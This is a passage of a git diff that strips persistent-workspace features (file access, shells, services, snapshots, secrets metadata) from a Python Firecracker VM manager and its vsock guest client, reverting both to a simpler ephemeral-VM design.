archive_path: Path, - timeout_seconds: int = 60, - uds_path: str | None = None, - ) -> GuestArchiveExportResponse: - request = { - "action": "export_archive", - "path": workspace_path, - } - sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) - try: - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - header = self._recv_line(sock) - if header.strip() == "": - raise RuntimeError("guest export response header is empty") - payload = json.loads(header) - if not isinstance(payload, dict): - raise RuntimeError("guest export response header must be a JSON object") - error = payload.get("error") - if error is not None: - raise RuntimeError(str(error)) - archive_size = int(payload.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("guest export archive_size must not be negative") - with archive_path.open("wb") as handle: - remaining = archive_size - while remaining > 0: - chunk = sock.recv(min(65536, remaining)) - if chunk == b"": - raise RuntimeError("unexpected EOF while receiving export archive") - handle.write(chunk) - remaining -= len(chunk) - finally: - sock.close() - return GuestArchiveExportResponse( - workspace_path=str(payload.get("workspace_path", workspace_path)), - artifact_type=str(payload.get("artifact_type", "file")), - entry_count=int(payload.get("entry_count", 0)), - bytes_written=int(payload.get("bytes_written", 0)), - ) - - def list_workspace_entries( - self, - guest_cid: int, - port: int, - *, - workspace_path: str, - recursive: bool, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "list_workspace", - "path": workspace_path, - "recursive": recursive, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest workspace file list response must be a JSON object", - ) - - def read_workspace_file( - self, - guest_cid: int, - port: int, - *, - workspace_path: str, - max_bytes: int, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - payload = self._request_json( - guest_cid, - port, - { - "action": "read_workspace_file", - "path": workspace_path, - "max_bytes": max_bytes, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest workspace file read response must be a JSON object", - ) - raw_content = payload.get("content_b64", "") - if not isinstance(raw_content, str): - raise RuntimeError("guest workspace file read response is missing content_b64") - payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True) - payload.pop("content_b64", None) - return payload - - def write_workspace_file( - self, - guest_cid: int, - port: int, - *, - workspace_path: str, - text: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "write_workspace_file", - "path": workspace_path, - "text": text, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest workspace file write response must be a JSON object", - ) - - def delete_workspace_path( - self, - guest_cid: int, - port: int, - *, - workspace_path: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "delete_workspace_path", - "path": workspace_path, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest workspace path delete response must be a JSON object", - ) - - def open_shell( - self, - guest_cid: int, - port: int, - *, - shell_id: str, - cwd: str, - cols: int, - rows: int, - env: dict[str, str] | None = None, - redact_values: list[str] | None = None, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> GuestShellSummary: - payload = self._request_json( - guest_cid, - port, - { - "action": "open_shell", - "shell_id": shell_id, - "cwd": cwd, - "cols": cols, - "rows": rows, - "env": env, - "redact_values": redact_values, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest shell open response must be a JSON object", - ) - return self._shell_summary_from_payload(payload) - - def read_shell( - self, - guest_cid: int, - port: int, - *, - shell_id: str, - cursor: int, - max_chars: int, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> GuestShellReadResponse: - payload = self._request_json( - guest_cid, - port, - { - "action": "read_shell", - "shell_id": shell_id, - "cursor": cursor, - "max_chars": max_chars, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest shell read response must be a JSON object", - ) - summary = self._shell_summary_from_payload(payload) - return GuestShellReadResponse( - shell_id=summary.shell_id, - cwd=summary.cwd, - cols=summary.cols, - rows=summary.rows, - state=summary.state, - started_at=summary.started_at, - ended_at=summary.ended_at, - exit_code=summary.exit_code, - cursor=int(payload.get("cursor", cursor)), - next_cursor=int(payload.get("next_cursor", cursor)), - output=str(payload.get("output", "")), - truncated=bool(payload.get("truncated", False)), - ) - - def write_shell( - self, - guest_cid: int, - port: int, - *, - shell_id: str, - input_text: str, - append_newline: bool, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - payload = self._request_json( - guest_cid, - port, - { - "action": "write_shell", - "shell_id": shell_id, - "input": input_text, - "append_newline": append_newline, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest shell write response must be a JSON object", - ) - self._shell_summary_from_payload(payload) - return payload - - def signal_shell( - self, - guest_cid: int, - port: int, - *, - shell_id: str, - signal_name: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - payload = self._request_json( - guest_cid, - port, - { - "action": "signal_shell", - "shell_id": shell_id, - "signal": signal_name, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest shell signal response must be a JSON object", - ) - self._shell_summary_from_payload(payload) - return payload - - def close_shell( - self, - guest_cid: int, - port: int, - *, - shell_id: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - payload = self._request_json( - guest_cid, - port, - { - "action": "close_shell", - "shell_id": shell_id, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest shell close response must be a JSON object", - ) - self._shell_summary_from_payload(payload) - return payload - - def start_service( - self, - guest_cid: int, - port: int, - *, - service_name: str, - command: str, - cwd: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, - timeout_seconds: int = 60, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "start_service", - "service_name": service_name, - "command": command, - "cwd": cwd, - "readiness": readiness, - "ready_timeout_seconds": ready_timeout_seconds, - "ready_interval_ms": ready_interval_ms, - "env": env, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest service start response must be a JSON object", - ) - - def status_service( - self, - guest_cid: int, - port: int, - *, - service_name: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "status_service", - "service_name": service_name, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest service status response must be a JSON object", - ) - - def logs_service( - self, - guest_cid: int, - port: int, - *, - service_name: str, - tail_lines: int | None, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "logs_service", - "service_name": service_name, - "tail_lines": tail_lines, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest service logs response must be a JSON object", - ) - - def stop_service( - self, - guest_cid: int, - port: int, - *, - service_name: str, - timeout_seconds: int = 30, - uds_path: str | None = None, - ) -> dict[str, Any]: - return self._request_json( - guest_cid, - port, - { - "action": "stop_service", - "service_name": service_name, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest service stop response must be a JSON object", - ) - - def _request_json( - self, - guest_cid: int, - port: int, - request: dict[str, Any], - *, - timeout_seconds: int, - uds_path: str | None, - error_message: str, - ) -> dict[str, Any]: - sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) - try: - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - payload = self._recv_json_payload(sock) - finally: - sock.close() - if not isinstance(payload, dict): - raise RuntimeError(error_message) - error = payload.get("error") - if error is not None: - raise RuntimeError(str(error)) - return payload - - @staticmethod - def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary: - return GuestShellSummary( - shell_id=str(payload.get("shell_id", "")), - cwd=str(payload.get("cwd", "/workspace")), - cols=int(payload.get("cols", 0)), - rows=int(payload.get("rows", 0)), - state=str(payload.get("state", "stopped")), - started_at=float(payload.get("started_at", 0.0)), - ended_at=( - None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) - ), - exit_code=( - None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) - ), - ) - - def _connect( - self, - guest_cid: int, - port: int, - timeout_seconds: int, - *, - uds_path: str | None, - ) -> SocketLike: family = getattr(socket, "AF_VSOCK", None) if family is not None: sock = self._socket_factory(family, socket.SOCK_STREAM) @@ -624,15 +59,33 @@ class VsockExecClient: connect_address = uds_path else: raise RuntimeError("vsock sockets are not supported on this host Python runtime") - sock.settimeout(timeout_seconds) - sock.connect(connect_address) - if family is None: - sock.sendall(f"CONNECT {port}\n".encode("utf-8")) - status = self._recv_line(sock) - if not status.startswith("OK "): - sock.close() - raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") - return sock + try: + sock.settimeout(timeout_seconds) + sock.connect(connect_address) + if family is None: + sock.sendall(f"CONNECT {port}\n".encode("utf-8")) + status = self._recv_line(sock) + if not status.startswith("OK "): + raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + chunks: list[bytes] = [] + while True: + data = sock.recv(65536) + if data == b"": + break + chunks.append(data) + finally: + sock.close() + + payload = json.loads(b"".join(chunks).decode("utf-8")) + if not isinstance(payload, dict): + raise RuntimeError("guest exec response must be a JSON object") + return GuestExecResponse( + stdout=str(payload.get("stdout", "")), + stderr=str(payload.get("stderr", "")), + exit_code=int(payload.get("exit_code", -1)), + duration_ms=int(payload.get("duration_ms", 0)), + ) @staticmethod def _recv_line(sock: SocketLike) -> str: @@ -645,13 +98,3 @@ class VsockExecClient: if data == b"\n": break return b"".join(chunks).decode("utf-8", errors="replace") - - @staticmethod - def _recv_json_payload(sock: SocketLike) -> Any: - chunks: list[bytes] = [] - while True: - data = sock.recv(65536) - if data == b"": - break - chunks.append(data) - return json.loads(b"".join(chunks).decode("utf-8")) diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 669b9cd..5cc0b17 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -1,146 +1,30 @@ -"""Lifecycle manager for ephemeral VM environments and persistent workspaces.""" +"""Lifecycle manager for ephemeral VM environments.""" from __future__ import annotations -import difflib -import io -import json import os -import re -import shlex import shutil import signal -import socket import subprocess -import sys -import tarfile -import tempfile import threading import time -import urllib.error -import urllib.request import uuid from dataclasses import dataclass, field -from pathlib import Path, PurePosixPath -from typing import Any, Literal, cast +from pathlib import Path +from typing import Any, Literal -from pyro_mcp.daily_loop import ( - DailyLoopManifest, - evaluate_daily_loop_status, - load_prepare_manifest, - prepare_manifest_path, - prepare_request_is_satisfied, - serialize_daily_loop_report, - write_prepare_manifest, -) from pyro_mcp.runtime import ( RuntimeCapabilities, RuntimePaths, resolve_runtime_paths, runtime_capabilities, ) -from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_environment +from pyro_mcp.vm_environments import EnvironmentStore, get_environment from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager -from pyro_mcp.workspace_disk import ( - export_workspace_disk_image, - list_workspace_disk, - read_workspace_disk_file, - scrub_workspace_runtime_paths, -) -from pyro_mcp.workspace_files import ( - DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES as DEFAULT_WORKSPACE_FILE_READ_LIMIT, -) -from pyro_mcp.workspace_files import ( - WORKSPACE_FILE_MAX_BYTES as WORKSPACE_FILE_MAX_LIMIT, -) -from pyro_mcp.workspace_files import ( - WORKSPACE_PATCH_MAX_BYTES as WORKSPACE_PATCH_MAX_LIMIT, -) -from pyro_mcp.workspace_files import ( - WorkspaceTextPatch, - apply_unified_text_patch, - delete_workspace_path, - list_workspace_files, - normalize_workspace_path, - parse_unified_text_patch, - read_workspace_file, - write_workspace_file, -) -from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST -from pyro_mcp.workspace_shell_output import render_plain_shell_output -from pyro_mcp.workspace_shells import ( - create_local_shell, - get_local_shell, - remove_local_shell, - shell_signal_names, -) VmState = Literal["created", "started", "stopped"] -WorkspaceShellState = Literal["running", "stopped"] -WorkspaceServiceState = Literal["running", "exited", "stopped", "failed"] -WorkspaceNetworkPolicy = Literal["off", "egress", "egress+published-ports"] - -DEFAULT_VCPU_COUNT = 1 -DEFAULT_MEM_MIB = 1024 -DEFAULT_TIMEOUT_SECONDS = 30 -DEFAULT_TTL_SECONDS = 600 -DEFAULT_ALLOW_HOST_COMPAT = False - -WORKSPACE_LAYOUT_VERSION = 9 -WORKSPACE_BASELINE_DIRNAME = "baseline" -WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" -WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" -WORKSPACE_DIRNAME = "workspace" -WORKSPACE_COMMANDS_DIRNAME = "commands" -WORKSPACE_REVIEW_DIRNAME = "review" -WORKSPACE_SHELLS_DIRNAME = "shells" -WORKSPACE_SERVICES_DIRNAME = "services" -WORKSPACE_SECRETS_DIRNAME = "secrets" -WORKSPACE_RUNTIME_DIRNAME = "runtime" -WORKSPACE_GUEST_PATH = "/workspace" -WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" -WORKSPACE_GUEST_INIT_PATH = "/opt/pyro/bin/pyro-init" -WORKSPACE_GUEST_SECRETS_PATH = "/run/pyro-secrets" -WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 -WORKSPACE_SECRET_MAX_BYTES = 64 * 1024 -DEFAULT_SHELL_COLS = 120 -DEFAULT_SHELL_ROWS = 30 -DEFAULT_SHELL_MAX_CHARS = 65536 -DEFAULT_SHELL_WAIT_FOR_IDLE_MS = 300 -MAX_SHELL_WAIT_FOR_IDLE_MS = 10000 -SHELL_IDLE_POLL_INTERVAL_SECONDS = 0.05 -DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES = 65536 -DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = DEFAULT_WORKSPACE_FILE_READ_LIMIT -WORKSPACE_FILE_MAX_BYTES = WORKSPACE_FILE_MAX_LIMIT -WORKSPACE_PATCH_MAX_BYTES = WORKSPACE_PATCH_MAX_LIMIT -DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 -DEFAULT_SERVICE_READY_INTERVAL_MS = 500 -DEFAULT_SERVICE_LOG_TAIL_LINES = 200 -DEFAULT_WORKSPACE_NETWORK_POLICY: WorkspaceNetworkPolicy = "off" -WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() -WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") -WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") -WORKSPACE_SECRET_NAME_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$") -WORKSPACE_LABEL_KEY_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") - -WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] -WorkspaceSeedOriginKind = Literal["empty", "manual_seed_path", "project_path", "repo_url"] -WorkspaceArtifactType = Literal["file", "directory", "symlink"] -WorkspaceReviewEventKind = Literal[ - "file_write", - "patch_apply", - "service_start", - "service_stop", - "snapshot_create", - "snapshot_delete", - "sync_push", - "workspace_export", -] -WorkspaceServiceReadinessType = Literal["file", "tcp", "http", "command"] -WorkspaceSnapshotKind = Literal["baseline", "named"] -WorkspaceSecretSourceKind = Literal["literal", "file"] @dataclass @@ -157,450 +41,12 @@ class VmInstance: workdir: Path state: VmState = "created" network_requested: bool = False - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT firecracker_pid: int | None = None last_error: str | None = None metadata: dict[str, str] = field(default_factory=dict) network: NetworkConfig | None = None -@dataclass -class WorkspaceRecord: - """Persistent workspace metadata stored on disk.""" - - workspace_id: str - environment: str - vcpu_count: int - mem_mib: int - ttl_seconds: int - created_at: float - expires_at: float - state: VmState - network_policy: WorkspaceNetworkPolicy - allow_host_compat: bool - firecracker_pid: int | None = None - last_error: str | None = None - metadata: dict[str, str] = field(default_factory=dict) - network: NetworkConfig | None = None - name: str | None = None - labels: dict[str, str] = field(default_factory=dict) - last_activity_at: float = 0.0 - command_count: int = 0 - last_command: dict[str, Any] | None = None - workspace_seed: dict[str, Any] = field(default_factory=dict) - secrets: list[WorkspaceSecretRecord] = field(default_factory=list) - reset_count: int = 0 - last_reset_at: float | None = None - - @classmethod - def from_instance( - cls, - instance: VmInstance, - *, - network_policy: WorkspaceNetworkPolicy = DEFAULT_WORKSPACE_NETWORK_POLICY, - command_count: int = 0, - last_command: dict[str, Any] | None = None, - workspace_seed: dict[str, Any] | None = None, - secrets: list[WorkspaceSecretRecord] | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> WorkspaceRecord: - return cls( - workspace_id=instance.vm_id, - environment=instance.environment, - vcpu_count=instance.vcpu_count, - mem_mib=instance.mem_mib, - ttl_seconds=instance.ttl_seconds, - created_at=instance.created_at, - expires_at=instance.expires_at, - state=instance.state, - network_policy=network_policy, - allow_host_compat=instance.allow_host_compat, - firecracker_pid=instance.firecracker_pid, - last_error=instance.last_error, - metadata=dict(instance.metadata), - network=instance.network, - name=name, - labels=dict(labels or {}), - last_activity_at=instance.created_at, - command_count=command_count, - last_command=last_command, - workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), - secrets=list(secrets or []), - reset_count=0, - last_reset_at=None, - ) - - def to_instance(self, *, workdir: Path) -> VmInstance: - return VmInstance( - vm_id=self.workspace_id, - environment=self.environment, - vcpu_count=self.vcpu_count, - mem_mib=self.mem_mib, - ttl_seconds=self.ttl_seconds, - created_at=self.created_at, - expires_at=self.expires_at, - workdir=workdir, - state=self.state, - network_requested=self.network_policy != "off", - allow_host_compat=self.allow_host_compat, - firecracker_pid=self.firecracker_pid, - last_error=self.last_error, - metadata=dict(self.metadata), - network=self.network, - ) - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": WORKSPACE_LAYOUT_VERSION, - "workspace_id": self.workspace_id, - "environment": self.environment, - "vcpu_count": self.vcpu_count, - "mem_mib": self.mem_mib, - "ttl_seconds": self.ttl_seconds, - "created_at": self.created_at, - "expires_at": self.expires_at, - "state": self.state, - "network_policy": self.network_policy, - "allow_host_compat": self.allow_host_compat, - "firecracker_pid": self.firecracker_pid, - "last_error": self.last_error, - "metadata": self.metadata, - "network": _serialize_network(self.network), - "name": self.name, - "labels": self.labels, - "last_activity_at": self.last_activity_at, - "command_count": self.command_count, - "last_command": self.last_command, - "workspace_seed": self.workspace_seed, - "secrets": [secret.to_payload() for secret in self.secrets], - "reset_count": self.reset_count, - "last_reset_at": self.last_reset_at, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceRecord: - return cls( - workspace_id=str(payload["workspace_id"]), - environment=str(payload["environment"]), - vcpu_count=int(payload["vcpu_count"]), - mem_mib=int(payload["mem_mib"]), - ttl_seconds=int(payload["ttl_seconds"]), - created_at=float(payload["created_at"]), - expires_at=float(payload["expires_at"]), - state=cast(VmState, str(payload.get("state", "stopped"))), - network_policy=_workspace_network_policy_from_payload(payload), - allow_host_compat=bool(payload.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), - firecracker_pid=_optional_int(payload.get("firecracker_pid")), - last_error=_optional_str(payload.get("last_error")), - metadata=_string_dict(payload.get("metadata")), - network=_deserialize_network(payload.get("network")), - name=_normalize_workspace_name(_optional_str(payload.get("name")), allow_none=True), - labels=_normalize_workspace_labels(payload.get("labels")), - last_activity_at=float(payload.get("last_activity_at", float(payload["created_at"]))), - command_count=int(payload.get("command_count", 0)), - last_command=_optional_dict(payload.get("last_command")), - workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), - secrets=_workspace_secret_records(payload.get("secrets")), - reset_count=int(payload.get("reset_count", 0)), - last_reset_at=( - None - if payload.get("last_reset_at") is None - else float(payload.get("last_reset_at", 0.0)) - ), - ) - - -@dataclass(frozen=True) -class WorkspaceSecretRecord: - """Persistent secret metadata stored on disk per workspace.""" - - name: str - source_kind: WorkspaceSecretSourceKind - stored_path: str - - def to_payload(self) -> dict[str, Any]: - return { - "name": self.name, - "source_kind": self.source_kind, - "stored_path": self.stored_path, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSecretRecord: - return cls( - name=str(payload["name"]), - source_kind=cast(WorkspaceSecretSourceKind, str(payload.get("source_kind", "literal"))), - stored_path=str(payload["stored_path"]), - ) - - -@dataclass(frozen=True) -class WorkspaceReviewEventRecord: - """Persistent concise review event metadata stored on disk per workspace.""" - - workspace_id: str - event_kind: WorkspaceReviewEventKind - recorded_at: float - payload: dict[str, Any] - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": WORKSPACE_LAYOUT_VERSION, - "workspace_id": self.workspace_id, - "event_kind": self.event_kind, - "recorded_at": self.recorded_at, - "payload": self.payload, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceReviewEventRecord: - raw_payload = payload.get("payload") - return cls( - workspace_id=str(payload["workspace_id"]), - event_kind=cast(WorkspaceReviewEventKind, str(payload["event_kind"])), - recorded_at=float(payload["recorded_at"]), - payload=dict(raw_payload) if isinstance(raw_payload, dict) else {}, - ) - - -@dataclass -class WorkspaceSnapshotRecord: - """Persistent snapshot metadata stored on disk per workspace.""" - - workspace_id: str - snapshot_name: str - kind: WorkspaceSnapshotKind - created_at: float - entry_count: int - bytes_written: int - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": WORKSPACE_LAYOUT_VERSION, - "workspace_id": self.workspace_id, - "snapshot_name": self.snapshot_name, - "kind": self.kind, - "created_at": self.created_at, - "entry_count": self.entry_count, - "bytes_written": self.bytes_written, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceSnapshotRecord: - return cls( - workspace_id=str(payload["workspace_id"]), - snapshot_name=str(payload["snapshot_name"]), - kind=cast(WorkspaceSnapshotKind, str(payload.get("kind", "named"))), - created_at=float(payload["created_at"]), - entry_count=int(payload.get("entry_count", 0)), - bytes_written=int(payload.get("bytes_written", 0)), - ) - - -@dataclass -class WorkspaceShellRecord: - """Persistent shell metadata stored on disk per workspace.""" - - workspace_id: str - shell_id: str - cwd: str - cols: int - rows: int - state: WorkspaceShellState - started_at: float - ended_at: float | None = None - exit_code: int | None = None - execution_mode: str = "pending" - metadata: dict[str, str] = field(default_factory=dict) - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": WORKSPACE_LAYOUT_VERSION, - "workspace_id": self.workspace_id, - "shell_id": self.shell_id, - "cwd": self.cwd, - "cols": self.cols, - "rows": self.rows, - "state": self.state, - "started_at": self.started_at, - "ended_at": self.ended_at, - "exit_code": self.exit_code, - "execution_mode": self.execution_mode, - "metadata": dict(self.metadata), - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceShellRecord: - return cls( - workspace_id=str(payload["workspace_id"]), - shell_id=str(payload["shell_id"]), - cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), - cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), - rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), - state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), - started_at=float(payload.get("started_at", 0.0)), - ended_at=( - None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) - ), - exit_code=( - None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) - ), - execution_mode=str(payload.get("execution_mode", "pending")), - metadata=_string_dict(payload.get("metadata")), - ) - - -@dataclass -class WorkspaceServiceRecord: - """Persistent service metadata stored on disk per workspace.""" - - workspace_id: str - service_name: str - command: str - cwd: str - state: WorkspaceServiceState - started_at: float - readiness: dict[str, Any] | None = None - ready_at: float | None = None - ended_at: float | None = None - exit_code: int | None = None - pid: int | None = None - execution_mode: str = "pending" - stop_reason: str | None = None - published_ports: list[WorkspacePublishedPortRecord] = field(default_factory=list) - metadata: dict[str, str] = field(default_factory=dict) - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": WORKSPACE_LAYOUT_VERSION, - "workspace_id": self.workspace_id, - "service_name": self.service_name, - "command": self.command, - "cwd": self.cwd, - "state": self.state, - "started_at": self.started_at, - "readiness": self.readiness, - "ready_at": self.ready_at, - "ended_at": self.ended_at, - "exit_code": self.exit_code, - "pid": self.pid, - "execution_mode": self.execution_mode, - "stop_reason": self.stop_reason, - "published_ports": [ - published_port.to_payload() for published_port in self.published_ports - ], - "metadata": dict(self.metadata), - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspaceServiceRecord: - readiness_payload = payload.get("readiness") - readiness = None - if isinstance(readiness_payload, dict): - readiness = dict(readiness_payload) - return cls( - workspace_id=str(payload["workspace_id"]), - service_name=str(payload["service_name"]), - command=str(payload.get("command", "")), - cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), - state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), - started_at=float(payload.get("started_at", 0.0)), - readiness=readiness, - ready_at=( - None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) - ), - ended_at=( - None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) - ), - exit_code=( - None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) - ), - pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), - execution_mode=str(payload.get("execution_mode", "pending")), - stop_reason=_optional_str(payload.get("stop_reason")), - published_ports=_workspace_published_port_records(payload.get("published_ports")), - metadata=_string_dict(payload.get("metadata")), - ) - - -@dataclass(frozen=True) -class WorkspacePublishedPortRecord: - """Persisted localhost published-port metadata for one service.""" - - guest_port: int - host_port: int - host: str = DEFAULT_PUBLISHED_PORT_HOST - protocol: str = "tcp" - proxy_pid: int | None = None - - def to_payload(self) -> dict[str, Any]: - return { - "guest_port": self.guest_port, - "host_port": self.host_port, - "host": self.host, - "protocol": self.protocol, - "proxy_pid": self.proxy_pid, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> WorkspacePublishedPortRecord: - return cls( - guest_port=int(payload["guest_port"]), - host_port=int(payload["host_port"]), - host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), - protocol=str(payload.get("protocol", "tcp")), - proxy_pid=( - None if payload.get("proxy_pid") is None else int(payload.get("proxy_pid", 0)) - ), - ) - - -@dataclass(frozen=True) -class WorkspacePublishedPortSpec: - """Requested published-port configuration for one service.""" - - guest_port: int - host_port: int | None = None - - -@dataclass(frozen=True) -class PreparedWorkspaceSeed: - """Prepared host-side seed archive plus metadata.""" - - mode: WorkspaceSeedMode - source_path: str | None - origin_kind: WorkspaceSeedOriginKind = "empty" - origin_ref: str | None = None - archive_path: Path | None = None - entry_count: int = 0 - bytes_written: int = 0 - cleanup_dir: Path | None = None - - def to_payload( - self, - *, - destination: str = WORKSPACE_GUEST_PATH, - path_key: str = "seed_path", - include_origin: bool = True, - ) -> dict[str, Any]: - payload = { - "mode": self.mode, - path_key: self.source_path, - "destination": destination, - "entry_count": self.entry_count, - "bytes_written": self.bytes_written, - } - if include_origin: - payload["origin_kind"] = self.origin_kind - payload["origin_ref"] = self.origin_ref - return payload - - def cleanup(self) -> None: - if self.cleanup_dir is not None: - shutil.rmtree(self.cleanup_dir, ignore_errors=True) - - @dataclass(frozen=True) class VmExecResult: """Command execution output.""" @@ -611,210 +57,9 @@ class VmExecResult: duration_ms: int -@dataclass(frozen=True) -class ExportedWorkspaceArchive: - workspace_path: str - artifact_type: WorkspaceArtifactType - archive_path: Path - entry_count: int - bytes_written: int - - -@dataclass(frozen=True) -class WorkspaceTreeEntry: - path: str - artifact_type: WorkspaceArtifactType - disk_path: Path - size_bytes: int = 0 - link_target: str | None = None - - -def _optional_int(value: object) -> int | None: - if value is None: - return None - if isinstance(value, bool): - return int(value) - if isinstance(value, int): - return value - if isinstance(value, float): - return int(value) - if isinstance(value, str): - return int(value) - raise TypeError("expected integer-compatible payload") - - -def _optional_str(value: object) -> str | None: - if value is None: - return None - return str(value) - - -def _optional_dict(value: object) -> dict[str, Any] | None: - if value is None: - return None - if not isinstance(value, dict): - raise TypeError("expected dictionary payload") - return dict(value) - - -def _string_dict(value: object) -> dict[str, str]: - if not isinstance(value, dict): - return {} - return {str(key): str(item) for key, item in value.items()} - - -def _empty_workspace_seed_payload() -> dict[str, Any]: - return { - "mode": "empty", - "seed_path": None, - "origin_kind": "empty", - "origin_ref": None, - "destination": WORKSPACE_GUEST_PATH, - "entry_count": 0, - "bytes_written": 0, - } - - -def _workspace_seed_dict(value: object) -> dict[str, Any]: - if not isinstance(value, dict): - return _empty_workspace_seed_payload() - payload = _empty_workspace_seed_payload() - payload.update( - { - "mode": str(value.get("mode", payload["mode"])), - "seed_path": _optional_str(value.get("seed_path")), - "origin_kind": str(value.get("origin_kind", payload["origin_kind"])), - "origin_ref": _optional_str(value.get("origin_ref")), - "destination": str(value.get("destination", payload["destination"])), - "entry_count": int(value.get("entry_count", payload["entry_count"])), - "bytes_written": int(value.get("bytes_written", payload["bytes_written"])), - } - ) - return payload - - -def _normalize_workspace_network_policy(policy: str) -> WorkspaceNetworkPolicy: - normalized = policy.strip().lower() - if normalized not in {"off", "egress", "egress+published-ports"}: - raise ValueError("network_policy must be one of: off, egress, egress+published-ports") - return cast(WorkspaceNetworkPolicy, normalized) - - -def _workspace_network_policy_from_payload(payload: dict[str, Any]) -> WorkspaceNetworkPolicy: - raw_policy = 